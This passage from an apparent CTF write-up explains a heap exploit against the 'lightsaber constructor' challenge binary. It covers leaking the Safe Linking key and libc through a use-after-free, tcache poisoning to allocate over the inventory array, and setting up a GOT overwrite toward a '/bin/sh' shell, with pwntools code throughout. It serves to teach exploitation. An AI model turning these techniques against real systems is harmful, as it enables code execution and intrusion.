&lt;p&gt;We circumvent that by using the &lt;code&gt;inventory[]&lt;&#x2F;code&gt; array with &lt;code&gt;construct()&lt;&#x2F;code&gt;. We then point it towards our GOT with our UaF primitives and change the memory via &lt;code&gt;modify()&lt;&#x2F;code&gt; without having to unleash &lt;code&gt;memset()&lt;&#x2F;code&gt; onto the GOT directly.&lt;&#x2F;p&gt;
&lt;p&gt;The second hurdle is &lt;em&gt;Safe Linking&lt;&#x2F;em&gt;, which is a security feature implemented since glibc 2.32. This causes the &lt;code&gt;fd&lt;&#x2F;code&gt; pointer in the tcache to be obfuscated, making it more difficult to overwrite it with an arbitrary value.&lt;&#x2F;p&gt;
&lt;p&gt;Here is the code snippet from &lt;a rel=&quot;noopener nofollow&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;elixir.bootlin.com&#x2F;glibc&#x2F;glibc-2.39&#x2F;source&#x2F;malloc&#x2F;malloc.c#L329&quot;&gt;&lt;code&gt;malloc.c&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;C&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-C &quot;&gt;&lt;code class=&quot;language-C&quot; data-lang=&quot;C&quot;&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;PROTECT_PTR&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;pos&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;ptr&lt;&#x2F;span&gt;&lt;span&gt;) \
&lt;&#x2F;span&gt;&lt;span&gt;  ((&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;__typeof &lt;&#x2F;span&gt;&lt;span&gt;(ptr)) ((((&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;size_t&lt;&#x2F;span&gt;&lt;span&gt;) pos) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;12&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;^ &lt;&#x2F;span&gt;&lt;span&gt;((&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;size_t&lt;&#x2F;span&gt;&lt;span&gt;) ptr)))
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;REVEAL_PTR&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;ptr&lt;&#x2F;span&gt;&lt;span&gt;)  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;PROTECT_PTR &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;ptr, ptr)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pos&lt;&#x2F;code&gt; is the address of the current chunk&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ptr&lt;&#x2F;code&gt; the location of the chunk we are pointing to
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;NULL&lt;&#x2F;code&gt; if the chunk is at the end of the list&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;We can overcome that by inspecting the chunk at the end of the list. Because the &lt;code&gt;ptr&lt;&#x2F;code&gt; of that chunk is &lt;code&gt;NULL&lt;&#x2F;code&gt;, the XOR collapses to the key itself.&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;code&gt;fd&lt;&#x2F;code&gt; in tcache&#x27;s last chunk:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;(chunk0_addr &amp;gt;&amp;gt; 12) ^ NULL = chunk0_addr &amp;gt;&amp;gt; 12
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We can use &lt;code&gt;inspect()&lt;&#x2F;code&gt; to leak this key as it calls &lt;code&gt;printf(&quot;%s&quot;, ptr)&lt;&#x2F;code&gt;. Because the tcache uses the same key for the same bin, we can reuse this key later on.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;putting-it-all-together&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#putting-it-all-together&quot; aria-label=&quot;Anchor link for: putting-it-all-together&quot;&gt;Putting it all together&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;Now, we should have everything our strategy requires to exploit this vulnerability, so let&#x27;s put it together.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;heap-feng-shui&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#heap-feng-shui&quot; aria-label=&quot;Anchor link for: heap-feng-shui&quot;&gt;Heap Feng Shui&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;First off, we need to allocate some memory on the heap.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;construct&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;saber-&lt;&#x2F;span&gt;&lt;span&gt;{i}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;encode&lt;&#x2F;span&gt;&lt;span&gt;())
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote class=&quot;markdown-alert-note&quot;&gt;
&lt;p&gt;To make scripting easier, I&#x27;ve written helper functions, which perform the correct menu operation inside the binary, to minimize code duplication.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;This gives us 9 contiguous &lt;code&gt;0xA0&lt;&#x2F;code&gt;-byte chunks on the heap. Saber 8 is a &lt;strong&gt;guard chunk&lt;&#x2F;strong&gt; that prevents the allocator from merging freed chunks with the top chunk.
Now, our heap looks like this:&lt;&#x2F;p&gt;
&lt;figure&gt;
&lt;img src=&quot;.&#x2F;heap_layout.png&quot; id=&quot;heap_layout&quot;&gt;
&lt;figcaption&gt;
Heap Layout
&lt;&#x2F;figcaption&gt;
&lt;&#x2F;figure&gt;
&lt;h2 id=&quot;leak-heap-key&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#leak-heap-key&quot; aria-label=&quot;Anchor link for: leak-heap-key&quot;&gt;Leak Heap key&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Because the binary uses &lt;code&gt;glibc 2.39-0ubuntu8.7&lt;&#x2F;code&gt;, we have to deal with the Safe Linking. Therefore, our first action is to &lt;code&gt;free()&lt;&#x2F;code&gt; a chunk (via &lt;code&gt;destroy()&lt;&#x2F;code&gt;) such that it moves into our tcache. When we instruct our program to read from the freed address (by supplying the same index), it returns the stored &lt;code&gt;fd&lt;&#x2F;code&gt;, which holds our heap key!&lt;&#x2F;p&gt;
&lt;p&gt;Its &lt;code&gt;fd&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;stored_fd = (chunk0_addr &amp;gt;&amp;gt; 12) ^ NULL = chunk0_addr &amp;gt;&amp;gt; 12
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Code Snippet:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;# free chunk 0 -&amp;gt; tcache (count=1)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;destroy&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;# UaF read tcache-&amp;gt;fd
&lt;&#x2F;span&gt;&lt;span&gt;name, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;_ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;inspect_saber&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;heap_key &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;u64&lt;&#x2F;span&gt;&lt;span&gt;(name.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;ljust&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;\x00&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Note, that we use our &lt;code&gt;name&lt;&#x2F;code&gt; from &lt;code&gt;inspect()&lt;&#x2F;code&gt; because it&#x27;s the first property and &lt;code&gt;fd&lt;&#x2F;code&gt; is at the beginning of the metadata as well.
That&#x27;s the first piece of our puzzle done, now, let&#x27;s move onto libc.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;libc-leak&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#libc-leak&quot; aria-label=&quot;Anchor link for: libc-leak&quot;&gt;Libc leak&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;In order to overwrite our GOT with the addresses we need, we have to make out the libc addresses we need. And to do that, we need to calculate the libc base address.&lt;&#x2F;p&gt;
&lt;p&gt;To do that, we free additional chunks such that our tcache fills up completely. The tcache holds up to &lt;a rel=&quot;noopener nofollow&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;elixir.bootlin.com&#x2F;glibc&#x2F;glibc-2.39&#x2F;source&#x2F;malloc&#x2F;malloc.c#L313&quot;&gt;seven memory regions per thread per allocation size&lt;&#x2F;a&gt;. Because we allocated the same sizes before, when we free 6 additional regions, the cache bin for size &lt;code&gt;0xA0&lt;&#x2F;code&gt; is full:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;destroy&lt;&#x2F;span&gt;&lt;span&gt;(i)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The tcache bins looks like this now:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;head -&amp;gt; chunk6 -&amp;gt; chunk5 -&amp;gt; chunk4 -&amp;gt; ... -&amp;gt; chunk0 -&amp;gt; NULL
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now, when we free an additional chunk of that size, it moves into the so-called &lt;em&gt;unsorted bin&lt;&#x2F;em&gt;, which is a &lt;em&gt;double linked list&lt;&#x2F;em&gt; that acts as a cache for memory, similar to the tcache. There are other types of bins (e.g. fast bin) but for brevity&#x27;s sake we don&#x27;t dive further onto why it lands into the unsorted bin.&lt;&#x2F;p&gt;
&lt;p&gt;Because the unsorted bin was empty before, chunk 7 is the only entry inside this bin. This sets its list pointers &lt;code&gt;fd&lt;&#x2F;code&gt; and &lt;code&gt;bk&lt;&#x2F;code&gt; (keep in mind that unsorted bin is a double-linked list) to the same address, namely an address inside of &lt;code&gt;main_arena&lt;&#x2F;code&gt; inside libc.&lt;&#x2F;p&gt;
&lt;blockquote class=&quot;markdown-alert-note&quot;&gt;
&lt;p&gt;You don&#x27;t need to know what a memory&#x2F;main arena is for this exploit, just understand that it&#x27;s a fixed address inside of libc&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Because the unsorted bin is not safe linked, this is the correct address already. We can read it with our UaF-read primitive from before:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;destroy&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;# tcache full =&amp;gt; chunk 7 goes to unsorted bin
&lt;&#x2F;span&gt;&lt;span&gt;name, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;_ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;inspect_saber&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;# UaF-read for `main_arena` address
&lt;&#x2F;span&gt;&lt;span&gt;leak &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;u64&lt;&#x2F;span&gt;&lt;span&gt;(name.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;ljust&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;\x00&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Running this locally once, we get the offset from the libc base-address and use that to calculate the libc base address of the remote process:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;UNSORTED_BIN_OFFSET &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0x203b20 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;# calculated offset from local run
&lt;&#x2F;span&gt;&lt;span&gt;libc.address &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;leak &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;- &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;UNSORTED_BIN_OFFSET
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote class=&quot;markdown-alert-note&quot;&gt;
&lt;p&gt;See &lt;a href=&quot;https:&#x2F;&#x2F;s3mme.com&#x2F;posts&#x2F;flagwars-2026-lightsaber-constructor&#x2F;#offset-calculation&quot;&gt;Appendix&lt;&#x2F;a&gt; on how this value was derived. An alternative is to inspect the binary run through a debugger.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Now, this allows us to calculate the address of every function in libc: &lt;code&gt;system&lt;&#x2F;code&gt;, &lt;code&gt;puts&lt;&#x2F;code&gt;, &lt;code&gt;read&lt;&#x2F;code&gt;, and the &lt;code&gt;&quot;&#x2F;bin&#x2F;sh&quot;&lt;&#x2F;code&gt; string embedded in libc.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;tcache-poisoning-to-hijack-inventory&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#tcache-poisoning-to-hijack-inventory&quot; aria-label=&quot;Anchor link for: tcache-poisoning-to-hijack-inventory&quot;&gt;Tcache poisoning to hijack &lt;code&gt;inventory&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;We now have a heap encryption key and the addresses of libc functions. How does that help us? We use the primitives we built to manipulate the data.&lt;&#x2F;p&gt;
&lt;p&gt;Keep in mind that the tcache for size &lt;code&gt;0xA0&lt;&#x2F;code&gt; currently still looks like this:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;head -&amp;gt; chunk6 -&amp;gt; chunk5 -&amp;gt; chunk4 -&amp;gt; ... -&amp;gt; chunk0 -&amp;gt; NULL   (count=7)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Chunk 6 is the current head and its safe-linked &lt;code&gt;fd&lt;&#x2F;code&gt; points to chunk 5.
Since &lt;a href=&quot;https:&#x2F;&#x2F;s3mme.com&#x2F;posts&#x2F;flagwars-2026-lightsaber-constructor&#x2F;#reconnaissance&quot;&gt;the binary has no PIE&lt;&#x2F;a&gt;, the &lt;code&gt;inventory[]&lt;&#x2F;code&gt; array sits at a fixed address (&lt;code&gt;0x4040a0&lt;&#x2F;code&gt;). We overwrite &lt;code&gt;fd&lt;&#x2F;code&gt; with the encrypted pointer to it:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;xor_fd &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;inventory_addr &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;^ &lt;&#x2F;span&gt;&lt;span&gt;heap_key      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;# 0x4040a0 ^ heap_key
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;modify&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;p64&lt;&#x2F;span&gt;&lt;span&gt;(xor_fd))
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The XOR key is the same because chunk 6 is in the same tcache bucket as our previous chunk 0.
After this write, the tcache thinks:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;head -&amp;gt; chunk6 -&amp;gt; xor&amp;#39;ed(0x4040a0) -&amp;gt; ???   (count=7)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote class=&quot;markdown-alert-note&quot;&gt;
&lt;p&gt;We can extract the address of &lt;code&gt;inventory[]&lt;&#x2F;code&gt; via &lt;code&gt;objdump&lt;&#x2F;code&gt; easily because the binary is not stripped and PIE is disabled:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; objdump&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt; -D&lt;&#x2F;span&gt;&lt;span&gt; lightsaber_constructor &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;grep&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt; -i&lt;&#x2F;span&gt;&lt;span&gt; inventory
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;00000000004040a0 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;inventory&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Now we allocate memory (of size &lt;code&gt;0xA0&lt;&#x2F;code&gt;) twice:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;# malloc returns chunk6 address, address of `inventory` is now the tcache head
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;construct&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;drain&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;# malloc returns inventory address
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;construct&lt;&#x2F;span&gt;&lt;span&gt;(inv_payload, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;crystal&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The first allocation only drains chunk 6 from our tcache, while the second allocation is the important one. &lt;code&gt;malloc()&lt;&#x2F;code&gt; returns &lt;code&gt;0x4040a0&lt;&#x2F;code&gt; (address of &lt;code&gt;inventory[]&lt;&#x2F;code&gt;) due to our tcache poisoning.
Utilizing the &lt;code&gt;memset()&lt;&#x2F;code&gt; function, the &lt;code&gt;construct()&lt;&#x2F;code&gt; function zeros 140 bytes, clearing &lt;code&gt;inventory[0-16]&lt;&#x2F;code&gt; (128 bytes) and 12 bytes beyond that, including &lt;code&gt;saber_count&lt;&#x2F;code&gt;. Note, that the GOT is still intact because we did not touch it yet.&lt;&#x2F;p&gt;
&lt;p&gt;Afterwards, &lt;code&gt;construct()&lt;&#x2F;code&gt; writes our &lt;code&gt;inv_payload&lt;&#x2F;code&gt; to our allocated address (i.e. &lt;code&gt;inventory[]&lt;&#x2F;code&gt;):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;inv_payload &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;p64&lt;&#x2F;span&gt;&lt;span&gt;(elf.got[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;free&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;]) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;p64&lt;&#x2F;span&gt;&lt;span&gt;(binsh)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This writes &lt;code&gt;free@GOT&lt;&#x2F;code&gt; (&lt;code&gt;0x404000&lt;&#x2F;code&gt;) into &lt;code&gt;inventory[0]&lt;&#x2F;code&gt; and the address of &lt;code&gt;&quot;&#x2F;bin&#x2F;sh&quot;&lt;&#x2F;code&gt; in libc into &lt;code&gt;inventory[1]&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
